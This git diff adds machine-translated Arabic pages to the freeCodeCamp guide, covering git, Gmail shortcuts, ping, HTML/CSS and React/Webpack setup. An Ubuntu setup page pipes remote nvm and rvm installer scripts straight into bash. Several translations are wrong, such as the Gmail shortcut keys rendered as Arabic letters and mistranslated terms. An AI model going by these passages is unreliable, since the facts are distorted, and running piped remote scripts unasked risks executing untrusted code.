+1.  اطلب من جهاز الكمبيوتر الخاص بك إعداد البث. تختلف هذه العملية وفقًا لنظام التشغيل الخاص بك ، وعادةً ما ينطوي ذلك على تنزيل برنامج للتكامل مع Twitch. معظم مستخدمي Code Code Camp يستخدمون [OBS](https://obsproject.com/) ، ولكن يمكنك العثور على جميع البرامج المدعومة على [موقع Twitch](http://www.twitch.tv/broadcast) . هنا هو [دليل](https://medium.freecodecamp.com/setting-up-obs-for-live-coding-7-steps-99b8986e7249#.s8wdu73uu) مفيد في إعداد OBS.
+    
+2.  الاتصال نقر وزارة الدفاع عن طريق [جيتر](https://gitter.im/FreeCodeCamp/LiveCoding) . وسوف تساعدك على الحصول على مفتاح الدفق للحصول على إعداد على قناة FreeCodeCamp.
+    
+3.  استمتع ببث مباشر!
+    
+
+## القواعد العامة / المبادئ التوجيهية:
+
+*   على الرغم من أننا نفضل أن تقوم ببث JavaScript و HTML و CSS ، يمكنك بث أي لغة تريدها. فقط كن على دراية بأن العديد من مشاهدينا يجيدون اللغات والأطر التي يوفرها freecodecamp فقط.
+*   يجب أن تكون اللغة والمحتوى آمنين للعمل.
+*   قبل البث ، تحقق من القناة لمعرفة ما إذا كان شخص ما قد انتهى فعلاً وإعطاء الرؤوس حول خطتك للبث في [قناة LiveCoding](https://gitter.im/FreeCodeCamp/LiveCoding) في [gitter](https://gitter.im/FreeCodeCamp/LiveCoding) .
+*   يرجى استخدام كاميرا ويب إذا كان لديك واحد - الجمهور يريد أن يراك!
+*   استخدم غرفة المحادثة تقريبًا كمبرمج زوج. التفاعل قدر الإمكان والعمل معًا للحصول على أفضل النتائج.
+*   فكر بصوت عالٍ قدر الإمكان حتى يتمكن المشاهدون من فهم ما تفكر فيه وتفعله.
+*   فقط موسيقى خالية من حقوق الطبع والنشر من فضلك. استخدم [Twitch Music](https://music.twitch.tv) كدليل للموسيقى التي يمكنك استخدامها أو لا يمكنك استخدامها.
+
+يرجى الاتصال بأحد التعديلات لدينا في [غرفة الدردشة LiveCoding](https://gitter.im/FreeCodeCamp/LiveCoding) للبدء اليوم!
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-undo-a-git-add/index.md b/client/src/guide/arabic/miscellaneous/how-to-undo-a-git-add/index.md
new file mode 100644
index 0000000000..7d1a8fb2f1
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-undo-a-git-add/index.md
@@ -0,0 +1,13 @@
+---
+title: How to Undo a Git Add
+localeTitle: كيفية التراجع عن Git Add
+---
+# التراجع عن غيت إضافة
+
+للتراجع عن `git add` قبل الالتزام:
+
+قم بتشغيل `git reset <file>` أو `git reset` لإلغاء تثبيت جميع التغييرات.
+
+في الإصدارات القديمة من git ، كانت الأوامر `git reset HEAD <file>` و `git reset HEAD` على التوالي. تم تغيير هذا في Git 1.8.2
+
+[مصدر](http://stackoverflow.com/questions/348170/undo-git-add-before-commit/348234#348234)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-use-git-rebase/index.md b/client/src/guide/arabic/miscellaneous/how-to-use-git-rebase/index.md
new file mode 100644
index 0000000000..cf7c97c037
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-use-git-rebase/index.md
@@ -0,0 +1,53 @@
+---
+title: How to Use Git Rebase
+localeTitle: كيفية استخدام Git Rebase
+---
+**هل أشرت إلى هذه الصفحة للحصول على قبول العلاقات العامة؟ انتقل إلى اليمين إلى Git Rebase في FCC!**
+
+`git rebase` هي أداة مفيدة للغاية وهي عبارة عن إعادة كتابة سجل git ، على الرغم من استخدامها الأكثر شيوعًا _لتكرار الإلتزامات_ المتعددة في واحد. على الرغم من أنه مفيد في هذا السيناريو ، إلا أن هذه ليست الوظيفة الوحيدة التي يمكن لأداء `git rebase` تنفيذها. في الواقع يثبت أنه أكثر فائدة عند استخدامه للوظيفة المقصودة التي يوحي بها اسمها: _لتمهيد_ فرع بشكل أساسي. اسمحوا لي أن أشرح ما أعنيه بذلك.
+
+دعنا نقول أن لديك مستودع مثل هذا:
+
+ `                                                  --- Commit 5 ----------- auth branch 
+                                                / 
+                                               --- Commit 4 -------------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------------------------- master branch 
+` 
+
+إذا أردت دمج `auth` فرع مع `dev` فرع، وسوف بوابة رمي خطأ في لكم، لأن برنامجك `auth` فرع هو خارج التاريخ: أنه لا يأخذ في الحسبان الالتزام 4. سيكون لديك لجلب فرعك حتى- حتى الآن.
+
+يوفر لك git طريقتين للقيام بذلك: الأمر `merge` وأمر `rebase` . من أجل استكشاف أمر `merge` ، قم بزيارة مقالة الويكي ذات الصلة: [Git Merge](//forum.freecodecamp.com/t/understand-how-to-use-git-merge/13215)
+
+دعونا تشغيل `rebase` الآن:
+
+ `$ git checkout auth 
+ $ git rebase dev 
+` 
+
+سيبدو الريبو الآن هكذا:
+
+ `                                                                 --- Commit 5 --- auth branch 
+                                                               / 
+                                               --- Commit 4 --------------------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 --------------------------------------- master branch 
+` 
+
+هل ترى ماذا حدث؟ أنقذت Git بشكل أساسي الإلتزامات في فرع `auth` ، "أزلتها" ، ثم أنشأتها مرة أخرى بنفس الإلتزامات _بعد_ الالتزام في فرع `dev` . هذا يعني أن `Commit 4` موجود فقط في فرع `dev` وليس فرع `auth` ! وهذا هو حقا كل ما في الامر! قد يبدو هذا مربكًا بعض الشيء في البداية ، لكن حاول فهم الرسم التخطيطي. هذه أداة مفيدة للغاية.
+
+## Git-Rebase at FCC
+
+### منع دمج النزاعات
+
+إذا كنت تساهم في مصدر قاعدة البيانات FCC ، أو تخطط للقيام بذلك ، فقم دائمًا بتشغيل هذا الأمر قبل إجراء أي تغييرات في ملفاتك المحلية ودفعها:
+
+`git pull --rebase upstream staging`
+
+إذا لم يكن لديك `upstream` إعداد ، ثم قم بتشغيل هذا الأمر قبل تشغيل الأمر أعلاه (git سيرمي خطأ لأنه لا يعرف ما هو upstream): `git remote add upstream https://github.com/freecodecamp/freecodecamp.git`
+
+سيؤدي ذلك إلى سحب أحدث التغييرات من الفرع التدريبي FCC وتثبيتها مع فرع التدريج الخاص بك حتى لا يكون هناك أي تعارضات عند فتح PR ![:slight_smile:](//forum.freecodecamp.com/images/emoji/emoji_one/slight_smile.png?v=2 ": slight_smile:")
+
+### سحق
+
+إذا كان لديك عدة **[إلتزامات تريد إسقاطها](//forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231)** في واحدة ، اتبع التعليمات الخاصة بـ **[Squashing](//forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231)** .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-you-can-get-to-inbox-zero-with-gmail/index.md b/client/src/guide/arabic/miscellaneous/how-you-can-get-to-inbox-zero-with-gmail/index.md
new file mode 100644
index 0000000000..ad7d305c00
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-you-can-get-to-inbox-zero-with-gmail/index.md
@@ -0,0 +1,27 @@
+---
+title: How You Can Get to Inbox Zero with Gmail
+localeTitle: كيف يمكنك الوصول إلى Inbox Zero مع Gmail
+---
+> ستعمل اختصارات Gmail هذه على توفير ساعات العمل ومساعدتك في الوصول إلى Inbox Zero.
+
+انظر [https://player.vimeo.com/video/115194016](https://player.vimeo.com/video/115194016)
+
+## اختصارات Gmail
+
+الاختصار | وصف  
+\-------- | ----------:  
+ي | تحرك لأسفل  
+ك | تحرك  
+س | افتح  
+ص | الرد  
+أ | الرد على الجميع  
+و | إلى الأمام  
+ج | مؤلف موسيقى  
+س | تحديد  
+ه | أرشيف  
+! | صنف هذه الرسالة كرسالة مزعجة  
+ض | فك
+
+# | \*حذف
+
+*   قد لا يعمل هذا على بعض لوحات مفاتيح Mac في الاتحاد الأوروبي حيث يتم الوصول إلى # مع `ALT + 3` . الحل [هنا](http://toodlepip.co.uk/2010/blog-2010-09-gmail-delete-key-shortcut-uk-apple-users/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/html-and-css-cheat-sheet/index.md b/client/src/guide/arabic/miscellaneous/html-and-css-cheat-sheet/index.md
new file mode 100644
index 0000000000..ed69360aaa
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/html-and-css-cheat-sheet/index.md
@@ -0,0 +1,47 @@
+---
+title: HTML and CSS Cheat Sheet
+localeTitle: HTML و CSS Cheat Sheet
+---
+ستنمو هذه الصفحة (المأمولة) في الوقت المناسب لتغطية حلول HTML و CSS الأساسية والبسيطة.
+
+الرجاء إضافة إلى الحلول البديلة الخاصة بك إذا كنت تعرف طريقة مختلفة.
+
+## جعل `<hr>` القاعدة الأفقية أصغر
+
+ `    hr { 
+      width: 75%; 
+      margin-left: auto; 
+      margin-right: auto; 
+    } 
+` 
+
+## إعطاء `<div>` خلفية غير قابلة للتمرير
+
+ `    #divName { 
+      padding-top: 50px; 
+      height: 500px; 
+      color: #fff; 
+      background-image: url("your_url.jpg"); 
+      background-repeat: no-repeat; 
+      background-attachment: fixed; 
+      background-size: 100%; 
+    } 
+` 
+
+جرب قيمًا مختلفة لمعرفة كيفية تأثيرها على div وأكثر في html
+
+ `
+<div id="divName" class="container-fluid"> 
+` 
+
+## محاذاة عمودية (لسطر واحد من النص)
+
+يمكن أن يكون هذا مفيدًا في قائمة التنقل في CSS. المفتاح هو جعل ارتفاع القائمة وارتفاع سطر النص نفسه. `css .nav li{ line-height:50px; height:50px; }` [يمكن العثور على](https://www.webdesignerdepot.com/2016/10/20-essential-css-tricks-every-designer-should-know/) المزيد من الحيل الأنيقة [هنا](https://www.webdesignerdepot.com/2016/10/20-essential-css-tricks-every-designer-should-know/)
+
+## مركز قائمة أفقي
+
+[http://csswizardry.com/2011/01/create-a-centred-horizontal-navigation/](http://csswizardry.com/2011/01/create-a-centred-horizontal-navigation/)
+
+## أقسام ومخططات مستند HTML
+
+[https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Sections _and_ Outlines _of_ an _HTML5_ document](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/html-elements/index.md b/client/src/guide/arabic/miscellaneous/html-elements/index.md
new file mode 100644
index 0000000000..08ff678294
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/html-elements/index.md
@@ -0,0 +1,15 @@
+---
+title: HTML Elements
+localeTitle: عناصر HTML
+---
+تحتوي معظم عناصر HTML على علامة افتتاحية وعلامة إغلاق.
+
+تبدو العلامات الافتتاحية على الشكل التالي: `<h1>` وتبدو علامات الإغلاق كما يلي: `</h1>` .
+
+لاحظ أن الفرق الوحيد بين علامات الفتح والإغلاق هو أن علامات الإغلاق تحتوي على شرطة مائلة بعد قوسها الزاوي.
+
+هناك أيضًا بعض عناصر HTML التي تقوم بإغلاق ذاتي.
+
+على سبيل المثال ، علامة الصورة `<img />` وعلامة `<input />` .
+
+[جربها هنا!](http://www.freecodecamp.com/challenges/say-hello-to-html-elements)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/identify-basic-internet-problems-with-ping/index.md b/client/src/guide/arabic/miscellaneous/identify-basic-internet-problems-with-ping/index.md
new file mode 100644
index 0000000000..8c319e37ac
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/identify-basic-internet-problems-with-ping/index.md
@@ -0,0 +1,126 @@
+---
+title: Identify Basic Internet Problems with Ping
+localeTitle: التعرف على مشاكل الإنترنت الأساسية مع Ping
+---
+![شاشة السونار](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b1bfc671722851eed4adfe2d4ec24eb9ab8a875b.png)
+
+في المرة القادمة التي تتصل فيها بمكتب المساعدة ، هل تريد أن تبهرهم بمعرفتك بالشبكات؟ سيساعد استخدام أمر يسمى "ping" ، والذي تم إنشاؤه مباشرة في جهاز كمبيوتر Mac أو Windows أو Linux الموجود لديك ، في تحديد مشاكل الاتصال الأساسية. حسنًا ، قد لا يكون هذا كافياً "لإبهار" زملائك أعضاء الفريق ، ومع ذلك فهم سيقدرون أنك بدأت عملية التصحيح. ويرجى تذكر أن موظفي الدعم لديك هم متخصصون في تصحيح الأخطاء ، لذلك اتبع تعليماتهم عندما يخطرون خلال تسلسل استكشاف الأخطاء وإصلاحها.
+
+## TL، DR:
+
+يمكنك استخدام الأمر `ping` المدمج في كمبيوتر Mac OS X أو Windows أو Linux لتحديد مشكلات الاتصال الأساسية بالشبكة. يمكن أن يساعدك ذلك في حل المشكلة و / أو الحصول على معلومات تصحيح قيمة كخطوة أولى قبل الاتصال بالدعم. اقرأ أدناه للحصول على تفاصيل حول كيفية تشغيل نافذة سطر الأوامر وتشغيل الأمر `ping` من جهاز Mac OS X أو Windows.
+
+## الأمر `ping` :
+
+يعد الأمر `ping` طريقة بسيطة للتحقق من أن كمبيوتر آخر يمكنه تلقي معلومات منك. في الواقع ، [أطلق](https://en.wikipedia.org/wiki/Ping_%28networking_utility%29#History) المؤلف الأصلي ، [مايك موس](https://en.wikipedia.org/wiki/Mike_Muuss) ، [اسم البرنامج بعد صوت "ping"](https://en.wikipedia.org/wiki/Ping_%28networking_utility%29#History) الذي ترسله غواصة لكشف الأجسام الموجودة في الماء. إذا عاد صدى من بينغ ، فهذا يعني أن هناك شيء ما هناك. في الواقع ، يستخدم تطبيق `ping` " [طلب بروتوكول رسائل التحكم في الإنترنت للإنترنت](https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol) " كجزء من تصميم البرنامج الأساسي.
+
+في أبسط صوره ، يوفر الأمر `ping` اثنين من المعلومات القيّمة ، ما إذا كانت الرسالة قد رددت مرة أخرى ( `64 bytes from…` ) وكم من الوقت يستغرق لاستقبال الرسالة مرة أخرى (على سبيل المثال ، `time=6.396 ms` ). اعتمادًا على نوع الكمبيوتر الذي تستخدمه ، قد تحصل أيضًا على ملخص يحتوي على الحد الأدنى والحد الأقصى والمتوسط ​​والمزيد. يظهر وقت الاستجابة في "ms" ، أو مللي ثانية ، وهو 1 / 1000th من الثانية. زمن الاستجابة بسرعة 10 مللي ثانية أو أقل يكون سريعًا جدًا ، ومع ذلك ، فغالبًا ما تكون القيم في نطاق 100 مللي ثانية. في كثير من 200ms على الأرجح ستلاحظ أن لديك اتصال بطيء.
+
+## عندما يكون كل شيء على ما يرام:
+
+هذا هو ما تبدو عليه استجابة `ping` على جهاز كمبيوتر Mac OS X عندما يعمل كل شيء بشكل طبيعي هنا في ماليزيا:
+
+ `MacBook-Pro:~ ajm$ ping Google.com 
+ PING google.com (216.58.196.46): 56 data bytes 
+ 64 bytes from 216.58.196.46: icmp\_seq=0 ttl=55 time=6.396 ms 
+ 64 bytes from 216.58.196.46: icmp\_seq=1 ttl=55 time=6.368 ms 
+ 64 bytes from 216.58.196.46: icmp\_seq=2 ttl=55 time=26.773 ms 
+ 64 bytes from 216.58.196.46: icmp\_seq=3 ttl=55 time=6.984 ms 
+ ^C 
+ --- google.com ping statistics --- 
+ 4 packets transmitted, 4 packets received, 0.0% packet loss 
+ round-trip min/avg/max/stddev = 6.368/11.630/26.773/8.746 ms 
+` 
+
+هذا هو ما تبدو عليه استجابة `ping` على كمبيوتر يعمل بنظام Windows عندما يكون كل شيء يعمل بشكل جيد:
+
+ `C:\Users\BJM>ping Google.com 
+ Pinging google.com [216.58.196.46] with 32 bytes of data: 
+ Reply from 216.58.196.46: bytes=32 time=6ms TTL=128 
+ Reply from 216.58.196.46: bytes=32 time=15ms TTL=128 
+ Reply from 216.58.196.46: bytes=32 time=6ms TTL=128 
+ Reply from 216.58.196.46: bytes=32 time=6ms TTL=128 
+ Ping statistics for 216.58.196.46: 
+    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
+ Approximate round trip times in milli-seconds: 
+    Minimum = 6ms, Maximum = 15ms, Average = 8ms 
+` 
+
+يمكنك أن ترى من هذه الأمثلة أن الاتصال جيد مع متوسط ​​زمن الاستجابة في 10 مللي ثانية.
+
+### عندما يكون هناك خطأ ما (ثلاثة أمثلة):
+
+فماذا سيحدث إذا لم أتمكن من الاتصال بـ `Google.com` ؟ على سبيل المثال ، \# 1 ، أحاكي اتصال شبكة معطوب بجهاز Mac عن طريق فصل جهاز التوجيه عن الجدار ، وإعادة تشغيل الأمر. أول شيء أنا لاحظت أن يستغرق وقتا أطول _كثيرا_ للأمر للرد:
+
+ `MacBook-Pro:~ ajm$ ping google.com 
+ ping: cannot resolve google.com: Unknown host 
+ MacBook-Pro:~ ajm$ 
+` 
+
+أو ، على سبيل المثال ، رقم 2 ، بناءً على كيفية فشل الاتصال بالضبط:
+
+ `PING google.com (216.58.196.46): 56 data bytes 
+ Request timeout for icmp\_seq 0 
+ Request timeout for icmp\_seq 1 
+ Request timeout for icmp\_seq 2 
+ ^C 
+` 
+
+وأحيانًا ، إذا كان لدي اتصال ضعيف بشكل خاص ، فسترى مزيجًا من هذه الرسائل. على سبيل المثال ، \# 3 ، يمكنني محاكاة ذلك عن طريق توصيل جهاز كمبيوتر Mac بجهاز Wi-Fi عام عبر الشارع:
+
+ `PING google.com (216.58.196.206): 56 data bytes 
+ 64 bytes from 216.58.196.206: icmp\_seq=0 ttl=57 time=273.655 ms 
+ 64 bytes from 216.58.196.206: icmp\_seq=1 ttl=57 time=808.546 ms 
+ 64 bytes from 216.58.196.206: icmp\_seq=2 ttl=57 time=179.613 ms 
+ Request timeout for icmp\_seq 3 
+ Request timeout for icmp\_seq 4 
+ 64 bytes from 216.58.196.206: icmp\_seq=5 ttl=57 time=374.612 ms 
+ Request timeout for icmp\_seq 6 
+ ping: sendto: No route to host 
+ Request timeout for icmp\_seq 7 
+ ping: sendto: No route to host 
+ Request timeout for icmp\_seq 8 
+ ^C 
+` 
+
+في الاختبار الأول ، أخبرني `ping` أن جهازي لم يستطع حتى العثور على عنوان الإنترنت (IP `216.58.196.46` ) لـ `Google.com` . في الاختبار الثاني ، تذكرت جهاز الكمبيوتر الخاص بي عنوان IP الخاص بـ Google ، ولكن تعذر الوصول بالفعل إلى خوادم Google ( `Request timeout` ). في الاختبار الثالث ، `sendto: No route to host` يعني `sendto: No route to host` أن جهاز الشبكة يعرف مكان خوادم Google ، ولكن هناك شيء ما على المسار الرقمي مكسور.
+
+## مستخدمو Mac: كيفية تشغيل الأمر `ping` :
+
+في نظام التشغيل Mac ، يمكنك تشغيل `ping` من سطر الأوامر الطرفية. لبدء تشغيل الجهاز ، انقر فوق رمز العدسة المكبرة OS X Spotlight في الجزء العلوي الأيمن من سطح المكتب:
+
+![ماك الاضواء](//discourse-user-assets.s3.amazonaws.com/original/2X/9/924e9346b5f92fe41127f6b3e403f454773edae9.png)
+
+عندما تظهر نافذة البحث ، اكتب "terminal" ، قم بتمييز "Terminal - Utilities" ، ثم انقر نقرًا مزدوجًا (أو اضغط على
+
+إرجاع
+
+): ![ماك محطة إطلاق](//discourse-user-assets.s3.amazonaws.com/original/2X/9/976e1fb628c0d0bf2a6a9b57504305fd844716d4.png)
+
+سيطلق ذلك إطار الأوامر الطرفي ، ويمكنك إدخال الأمر `ping Google.com` الموضح في الأمثلة: ![ماك سطر الأوامر](//discourse-user-assets.s3.amazonaws.com/original/2X/0/05d1e4d360c14921f7bd7ab871358b956f1e7d03.png)
+
+**هام Mac Tip** : سيتم تشغيل الأمر `ping` إلى الأبد إذا لم تخبره بالتوقف. للقيام بذلك ، اضغط على
+
+`control`
+
+مفتاح (أسفل اليمين على لوحة المفاتيح) و
+
+`c`
+
+مفتاح. سيؤدي ذلك إلى مقاطعة الاختبار باستخدام Control-C ( `^C` ) وإعادة التحكم في سطر الأوامر مرة أخرى. بالنسبة لمستخدم Windows ، سيتوقف الأمر عن نفسه بعد عدة عمليات تكرار.
+
+## مستخدمو Windows: كيفية تشغيل الأمر `ping` :
+
+يختلف "موجه الأوامر" بين إصدارات Windows 10 و 8.1 و 8 و 7 ؛ هنا دليل كبير في [كيفية موجه الأوامر مفتوحة](http://pcsupport.about.com/od/commandlinereference/f/open-command-prompt.htm) . على جهاز يعمل بنظام التشغيل Windows 7 ، على سبيل المثال ، انقر فوق رمز "ابدأ" في Windows الأيمن السفلي ، وحدد "موجه الأوامر" وانقر نقرًا مزدوجًا (أو اضغط على
+
+`enter`
+
+):
+
+![فوز محطة الإطلاق](//discourse-user-assets.s3.amazonaws.com/original/2X/4/4e0b18755930ad0d64e6e38763f0b96054fd76fb.png)
+
+سيؤدي هذا إلى تشغيل نافذة الأوامر ، ويمكنك إدخال الأمر `ping Google.com` الموضح في الأمثلة:
+
+![فوز سطر الأوامر](//discourse-user-assets.s3.amazonaws.com/original/2X/9/94d8ed91d29574497ad0f2eb2cd235050132851e.png)
+
+الآن بعد معرفة كيفية استخدام الأمر `ping` ، يمكنك إجراء استكشاف الأخطاء وإصلاحها الأساسية للاتصال بالشبكة. مع القليل من الإبداع ، يمكنك العمل مع شخص دعم تكنولوجيا المعلومات المحلي لديك أو معرفة طبولوجيا الشبكة وعنوان IP الخاص بك (على سبيل المثال ، `ping` الموجه ، `ping` ISP) لمزيد من تحديد مشكلات الشبكة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/improve-existing-pull-request-by-another-contributor/index.md b/client/src/guide/arabic/miscellaneous/improve-existing-pull-request-by-another-contributor/index.md
new file mode 100644
index 0000000000..7eb8a21d65
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/improve-existing-pull-request-by-another-contributor/index.md
@@ -0,0 +1,23 @@
+---
+title: Improve Existing Pull Request by Another Contributor
+localeTitle: تحسين طلب السحب الحالي بواسطة مساهم آخر
+---
+كيفية أخذ العلاقات العامة لشخص ما وجعل حياتك تعتمد على نفسه مع الحفاظ على التزامه:
+
+1.  جعل فرع جديد ، ويفضل مع PR # من الأصلي.
+
+`git checkout -b pr/xyz`
+
+1.  اسحب التغييرات إليه.
+
+`git pull git://github.com/rafase282/wiki.git update/pr-guide`
+
+هذا يعني أساسا سحب من مستودع **Rafase282 / الويكي** ، فرع **التحديث / العلاقات العامة / دليل** إلى فرع الحالي **pr / xyz** الخاص بك.
+
+1.  قم بإجراء التغييرات الخاصة بك ، إضافة ، ارتكاب ، دفع. إذا كنت بحاجة إلى الإسكوا ، تأكد من عدم التزام المساهم الأصلي.
+
+**ملاحظة** : قد تحتاج إلى دفع `git push -f origin pr/xyz`
+
+1.  قم `closes #xyz` العلاقات العامة الخاصة بك وفي الوصف `closes #xyz` العلاقات العامة الأصلية مع `closes #xyz`
+
+من المفترض أن يؤدي ذلك إلى طلب سحب جديد يتضمن التغييرات الأصلية ، بالإضافة إلى طلب خاص بك في طلب سحب جديد سيشير تلقائيًا إلى الطلب الأصلي وإغلاقه عند الدمج.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/index.md b/client/src/guide/arabic/miscellaneous/index.md
new file mode 100644
index 0000000000..3e3213a505
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/index.md
@@ -0,0 +1,7 @@
+---
+title: Miscellaneous
+localeTitle: متنوع
+---
+## متنوع
+
+يحتوي هذا القسم على الكثير من المقالات التي سيتم إعادة تصنيفها في نهاية المطاف مع نمو دليل freeCodeCamp بمرور الوقت.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/initializing-the-react-project-with-webpack/index.md b/client/src/guide/arabic/miscellaneous/initializing-the-react-project-with-webpack/index.md
new file mode 100644
index 0000000000..b4ee694d56
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/initializing-the-react-project-with-webpack/index.md
@@ -0,0 +1,53 @@
+---
+title: Initializing the React Project with Webpack
+localeTitle: تهيئة مشروع React مع Webpack
+---
+أول شيء يجب فعله هو فتح سطر الأوامر / المحطة. نحن بحاجة إلى تثبيت Webpack و Webpack Dev Server على مستوى العالم.
+
+*   [مساعدة: مزيد من المعلومات حول تثبيت عقدة الوحدات على مستوى العالم](https://docs.npmjs.com/getting-started/installing-npm-packages-globally)
+    
+    npm install webpack webpack-dev-server -g
+    
+
+إن تثبيت هذه الوحدات على مستوى العالم يعني أنه يمكننا الرجوع إلى استخدام واجهات سطر الأوامر الخاصة بكل منها في الجهاز. يتيح لنا تثبيت Webpack تشغيل `webpack` من المحطة الطرفية لتنفيذ برنامج Webpack النصي. يتيح لنا تثبيت Webpack Dev Server تشغيل خادم localhost باستخدام توصيف Webpack الخاص بنا. كل هذا سيتضح بعد قليل.
+
+في الدليل الذي تختاره ، أنشئ دليلًا جديدًا ، على سبيل المثال `react-webpack-example` ، وقم بتغيير الدليل إليه:
+
+ `mkdir react-webpack-example && cd $_ 
+` 
+
+الآن بعد أن أصبحنا في دليلنا الجديد ، نحتاج إلى إنشاء ملف Webpack الخاص بنا ، والذي سيعيش في الجذر. هذا ملف تهيئة ، ولذلك قمنا `webpack.config.js` .
+
+ `touch webpack.config.js 
+` 
+
+الآن ، يمكننا المضي قدمًا [وتهيئة مشروع npm](https://docs.npmjs.com/cli/init) باستخدام الأمر التالي:
+
+ `npm init 
+` 
+
+يمكننا المضي قدمًا والضغط على مفتاح الإدخال للتنقل بين الخيارات المقدمة لنا في المحطة.
+
+`npm init` الأمر `npm init` ملف `package.json` ، الذي سيحتوي على بيانات مهمة عن مشروعنا.
+
+حتى الآن ، هذا ما يجب أن تبدو عليه شجرتنا:
+
+ `. 
+ ├── package.json 
+ └── webpack.config.js 
+` 
+
+إذا فتحت ملف `package.json` ، فسترى شيئًا كالتالي:
+
+ `{ 
+  "name": "react-webpack-example", 
+  "version": "1.0.0", 
+  "description": "", 
+  "main": "webpack.config.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "author": "", 
+  "license": "ISC" 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/installing-dependencies-for-react-with-webpack-projects/index.md b/client/src/guide/arabic/miscellaneous/installing-dependencies-for-react-with-webpack-projects/index.md
new file mode 100644
index 0000000000..f5b38d73b7
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/installing-dependencies-for-react-with-webpack-projects/index.md
@@ -0,0 +1,28 @@
+---
+title: Installing Dependencies for React with Webpack Projects
+localeTitle: تثبيت التبعيات للرد مع مشاريع Webpack
+---
+الآن بعد أن أصبح لدينا ملف تهيئة Webpack فارغًا ( `webpack.config.js` ) وملف حزمة حديثًا ( `package.json` ) ، نحتاج إلى تثبيت بعض الاعتماديات. يضيف تثبيت الاعتمادات تلقائيًا بعض البيانات إلى `package.json` . `package.json` .
+
+يعتمد هذا المشروع على React و ReactDOM و Webpack و Webpack Dev Server. كما سيعتمد على عدد من باقات بابل ، لأننا سنقوم بكتابة الكود باستخدام ES6 ، [وبابل هي محوّل إسترالي](https://babeljs.io/) .
+
+التبعيات التي نطلبها بالتفصيل:
+
+| حزمة | السبب  
+| [رد الفعل](https://www.npmjs.com/package/react) | "حزمة npm لتحصل على الوصول الفوري إلى React ، دون الحاجة إلى محول JSX." |  
+| [رد فعل DOM](https://www.npmjs.com/package/react-dom) "تعمل هذه الحزمة كنقطة بداية لمسارات التقديم المتعلقة بـ DOM. من المفترض أن يتم إقرانه مع التفاعل المتشابه ، والذي سيتم شحنه كرد فعل على npm. ' |  
+| [Webpack](https://www.npmjs.com/package/webpack) | "يسمح بتقسيم مصدر الكود إلى حزم متعددة ، والتي يمكن تحميلها عند الطلب." |  
+| [Webpack ديف خادم](https://www.npmjs.com/package/webpack-dev-server) | "يقدم تطبيق webpack. تحديثات المتصفح على التغييرات. |  
+| [بابل لودر](https://www.npmjs.com/package/babel-loader) | "محمل وحدة بابل لـ Webpack." |  
+| بابل كور | مطلوب لبابل لودر. |  
+| بابل مسبقا: ES2015 | مطلوب لبابل لودر. |  
+| بابل مسبقا: رد فعل | مطلوب لبابل لودر. |
+
+يمكننا المضي قدما وتثبيت كل هذه الوحدات بأمر واحد:
+
+ `npm install --save-dev react react-dom webpack webpack-dev-server babel-loader babel-core babel-preset-es2015 babel-preset-react 
+` 
+
+إذا نظرنا إلى ملف `package.json` بنا الآن ، فسوف نلاحظ أن `devDependencies` بنا قد أصبحت قائمة `devDependencies` العقد التي قمنا بتثبيتها للتو. هذا مهم لأنه يعني أنه يمكننا تثبيت هذه مرة أخرى إذا كنا بحاجة إلى استخدام `npm install` .
+
+*   [مساعدة: المزيد عن `dependencies` و `devDependencies`](http://stackoverflow.com/a/22004559/4637110)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/installing-devtools-and-modern-web-browsers/index.md b/client/src/guide/arabic/miscellaneous/installing-devtools-and-modern-web-browsers/index.md
new file mode 100644
index 0000000000..db79fed9b6
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/installing-devtools-and-modern-web-browsers/index.md
@@ -0,0 +1,47 @@
+---
+title: Installing Devtools and Modern Web Browsers
+localeTitle: تثبيت Devtools ومتصفحات الويب الحديثة
+---
+نعرض لك كيفية تثبيت langauges البرمجة المختلفة ، devtools ومتصفحات الويب على أوبونتو.
+
+## الأدوات المستخدمة على نطاق واسع:
+
+### بوابة
+
+ `sudo apt-get install git 
+` 
+
+### العقدة JS
+
+ `curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.31.0/install.sh | bash 
+ nvm install stable 
+` 
+
+### ياقوت
+
+ `curl -sSL https://get.rvm.io | bash -s stable 
+ rvm install 2.3.1 
+` 
+
+### الثعبان
+
+`Python 2` و `Python 3` مسبقًا على سطح مكتب Ubuntu.
+
+### متصفحات الويب الحديثة
+
